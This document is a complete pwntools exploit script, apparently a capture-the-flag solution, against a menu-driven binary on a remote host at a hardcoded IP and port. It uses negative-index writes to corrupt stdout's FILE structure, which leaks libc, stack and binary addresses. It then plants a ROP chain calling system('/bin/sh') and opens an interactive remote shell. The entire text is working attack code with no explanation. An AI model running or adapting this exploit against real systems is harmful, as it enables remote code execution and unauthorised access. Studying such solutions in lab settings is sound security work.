1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78
| from pwn import *
libc = ELF('/usr/lib/x86_64-linux-gnu/libc-2.29.so')
sh = remote('182.92.203.154',15268)
def login(): sh.sendlineafter('>>','2') sh.sendlineafter('Please input admin account :','QAQ') sh.sendlineafter('password :','\x40\xa6\x56')
def adjust(index,size,content): sh.sendlineafter('>>','2') sh.sendlineafter('power:',str(index)) sh.sendlineafter('size:',str(size)) sh.sendafter('staff:',content)
login() adjust(-0x6,0,'\x00'*0x17 + '\n') sh.sendline('2') sh.sendline('-2') sh.sendline('0') sh.send('\x00'*0xd8 + p64(0x0FBAD1887)) sh.recv(1) sh.recv(0x80) libc_base = u64(sh.recv(6).ljust(8,'\x00')) - 0x1e5700 system_addr = libc_base + libc.sym['system'] environ_addr = libc_base + libc.sym['__environ'] stdout_vtable_ptr_addr = libc_base + 0x1e5838 print 'libc_base=',hex(libc_base) print 'stdout_vtable_ptr_addr=',hex(stdout_vtable_ptr_addr) sh.sendlineafter('>>','')
adjust(-0x6,0,p64(0)*0x3 + p64(environ_addr) + p64(environ_addr + 0x8) + '\n') sh.sendline('2') sh.sendline('-2') sh.sendline('0') sh.send('\x00'*0xd8 + p64(0x0FBAD1887)) sh.recv(1) stack_addr = u64(sh.recv(6).ljust(8,'\x00')) print 'stack_addr=',hex(stack_addr) sh.sendlineafter('>>','')
adjust(-0x6,0,p64(0)*0x3 + p64(stack_addr - 0x30) + p64(stack_addr - 0x30 + 0x8) + '\n') sh.sendline('2') sh.sendline('-2') sh.sendline('0') sh.send('\x00'*0xd8 + p64(0x0FBAD1887)) sh.recv(1) elf_base = u64(sh.recv(6).ljust(8,'\x00')) - 0x11ba base = elf_base + 0x7070 print 'elf_base=',hex(elf_base) print 'base=',hex(base) sh.sendlineafter('>>','') rop_addr = stack_addr - 0xf0 - 0x8
adjust(-0x6,0,p64(0)*0x6 + p64(elf_base + 0x7000) + p64(elf_base + 0x7009) + '\n') sh.sendline('2') sh.sendline('-2') sh.sendline('0') sh.send('\x00'*0xd8 + p64(0x0FBAD1887)) sh.sendlineafter('>>','')
adjust(-0xd,0,'\x01'*0x7 + p64(rop_addr) + '\n')
pop_rdi = elf_base + 0x00000000000020fb pop_2 = elf_base + 0x00000000000020f8 binsh_addr = libc_base + libc.search('/bin/sh').next() sh.sendlineafter('>>','') adjust(1,0,p64(pop_2) + p64(0)*0x2 + p64(pop_rdi) + p64(binsh_addr) + p64(system_addr) + '\n')
sh.sendlineafter('>>','4')
sh.interactive()
|